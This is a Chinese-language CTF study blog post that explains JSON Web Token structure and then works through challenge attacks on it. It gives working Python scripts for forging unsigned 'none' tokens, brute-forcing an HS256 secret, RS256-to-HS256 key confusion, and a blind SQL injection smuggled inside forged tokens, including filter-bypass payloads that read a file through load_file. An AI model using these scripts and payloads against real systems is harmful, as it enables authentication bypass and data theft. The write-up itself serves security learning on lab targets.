JWT 学习

作者: CSeroad | 来源:发表于2021-02-09 14:30 被阅读0次

jwt学习
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JWT 学习
JsonWebToken
JWT简介
JSON Web Token 攻击面
JWT介绍和使用
JWT实现token验证
JWT学习笔记
JWT学习笔记

前言

在实际测试网站时多次遇到JWT认证，赶紧把这块知识点通过CTF题目的方式补上。

JWT 定义

JWT 全称是Json Web Token，由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息，这样服务端就无需保存任何关于用户或会话的信息，JWT可用于身份认证、会话状态维持、信息交换等。特别适用于分布式站点的单点登录（SSO）场景。

优点

JWT可以进行跨语言支持的，如JAVA，JavaScript，NodeJS，PHP等很多语言都可以使用；
JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息；
JWT结构简单，字节占用很小，便于传输；
JWT不需要在服务端保存会话信息，易于应用的扩展；

缺点

JWT包含认证信息，因此一旦信息泄露，任何人都可以获得令牌的所有权限；
JWT不建议使用HTTP协议来传输代码，而是使用加密的HTTPS协议进行传输；
由于服务器不保存session状态，

JWT 结构

JWT是一个很长的字符串，包含头部、载荷、签名，中间用.分割为三个部分，即

Header.Payload.Signature

下面分别学习每个部分：

Header
Header部分是一个JSON 对象。

{
  "alg": "HS256",
  "typ": "JWT"
}

alg表示签名的算法，默认HS256；
type表示令牌的类型；
最后将Header部分的JSON 对象使用Base64URL算法转成字符串。

Payload
Payload部分也是一个JSON 对象。
这部分有7个字段，分别是

iss (issuer)：JWT的发行者
exp (expiration time)：过期时间
sub (subject)：JWT面向的主题
aud (audience)：JWT的用户
nbf (Not Before)：生效时间
iat (Issued At)：签发时间
jti (JWT ID)：JWT唯一标识

除此以外，也可以自定义字段。如：

{
  "sub": "123456789",
  "name": "cseroad",
  "admin": true
}

最后同样将该json对象使用Base64URL算法转成字符串。

Signature
Signature 部分是对前两部分的签名，防止数据被篡改。
首先需要一个服务器端的秘钥secretkey。然后，使用Header里面指定的签名算法（HS256(HMAC SHA256)，按照公式产生签名。

公式如下：

data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)

算法

Base64URL算法是base64的修改版，是为了方便在web中传输使用了不同的编码表，不会在末尾填充=号，并将+和/分别改为-和_
HMAC算法是密钥相关的哈希运算消息认证码（Hash-based Message Authentication Code）的缩写，它是一种对称加密算法，使用相同的密钥对传输信息进行加解密。
RSA算法则是一种非对称加密算法，使用私钥加密明文，公钥解密密文。
在HMAC和RSA算法中，都是使用私钥对signature字段进行签名，只有拿到了加密时使用的私钥，才有可能伪造token。

JWT 漏洞

空密码算法

docker实验环境：

docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token

登录失败后，会返回正确账户密码。再次登录，cookie里token就是JWT。
解码一下。在线解码地址：https://jwt.io/

image.png

将用户修改为admin，并且将alg的值改为none，借助python2的pyjwt库，该库pip直接install安装即可。

import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))

image.png

替换新的JWT，再次请求。

image.png

成功登录admin用户。

JWT爆破

题目来自：https://2019shell1.picoctf.com/problem/32267/
当alg指定了加密算法时，可以进行针对key的暴力破解。
python2 编写的爆破脚本：

# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys

def burp_jwt(jwt_json,dicts):
    with open(dicts) as f:
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
    if(len(sys.argv) == 3):
        print('User: please burp_jwt.py jwt_json dict.txt')
        jwt_json = sys.argv[1]
        dicts = sys.argv[2]
        burp_jwt(jwt_json,dicts)
    else:
        print('User: please please burp_jwt.py jwt_json dict.txt')

准备好dict.txt爆破字典，运行命令如下：

python burp_jwt.py jwt_json dict.txt

image.png

爆破出key值为ilovepico。
再通过用户修改为admin，伪造jwt。

import jwt

payload = {
    "user":"admin"
}
key = 'ilovepico'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

计算出admin用户的jwt值。获取flag。

image.png

也可以利用c-jwt-cracker进行爆破。
git 该项目。docker 来破解jwt。

docker build . -t jwtcrack
docker run -it --rm  jwtcrack jwt_json

image.png

修改RSA加密算法为HMAC

我们知道RSA是非对称加密算法，使用私钥secretkey加密，使用本地的public.key解密。而HMAC是对称加密算法。如果服务端期待收到的算法为RS256，而实际上收到的算法是HS256，那么服务端就可能尝试把public当作私钥secretkey，然后用HS256算法解密验证JWT。
题目来自：http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
访问就知道是JWT，且使用RS256算法。

image.png

通过扫描目录获取RSA的公钥public.pem。

image.png

下载后，运行该代码

#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))

如果运行脚本报错。需要注释algorithms.py文件的第150行。

image.png

再次运行获得admin用户的JWT值。

image.png

send JWT即为admin用户。

image.png

sql注入

题目来自：2020 网鼎杯玄武组 js_on，可以去ctfhub平台在线练习。

image.png

就看到一个登录框，测试弱口令admin/admin，登录获得key值。

image.png

抓取数据包可以看到使用JWT认证。

image.png

解密JWT

image.png

利用脚本添加key，修改payload部分，计算JWT

import jwt

payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'

encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)

得到新的JWT值。

image.png

判断user参数是否存在sql注入
添加单引号，再编码得到JWT值，再发包。"user": "admin'"

image.png

判断sql注入的注入类型。"user": "admin' and 1=1#"

image.png

好像有过滤。
使用注释符/**/进行绕过。
"user": "admin'/**/and/**/1=1#"

image.png

"user": "admin'/**/and/**/1=2#"

image.png

判断为盲注。
下面就可以直接通过load_file函数读取跟目录下的flag值。
最常用的方法就是通过二分法读取。
在读取之前首先要对注入语句进行处理。

关键字之间添加<a>
空格使用注释符/**/绕过

所以一个简单的payload就有了

admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#

通过mid函数一位一位分割，并通过ascii码计算判断在哪两个数字之间。

image.png

结合程序来看，将payload部分进行加密，赋值token，作为cookie进行get请求，通过返回包是否匹配到hello，判断payload是否有效。
首先尝试获取第一位flag字母的ascii值，最小ascii为32，最大为127。
第一次运算，mid取32加127和的整数为79，max取127；第一位flag的ascii是否大于79，判断大于，所以mid最小值变为(79+127)/2=103，最大值为127。判断第一位flag的ascii小于103，所以要把最大值赋值为103，最小值就变为(79+103)/2=91，依次循环，直到计算出在某两个相邻数字之间。

image.png

大于98，小于100，只能是99。
以上就是利用二分法猜解出flag第一位的结果。
外面再嵌套一个for循环，遍历第二位、第三位、第四位......
完整代码为

# coding=utf-8
import jwt
import requests
import re


key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"

def sql_jwt():
    result = ""
    for i in range(1,50):
        min = 31
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2
            payload = payloadTmpl.format(i,mid)
            print(payload)
            jwttoken = {
                "user": payload,
                "news": "hello"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies)
            if re.findall("hello", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    sql_jwt()

最终获得flag。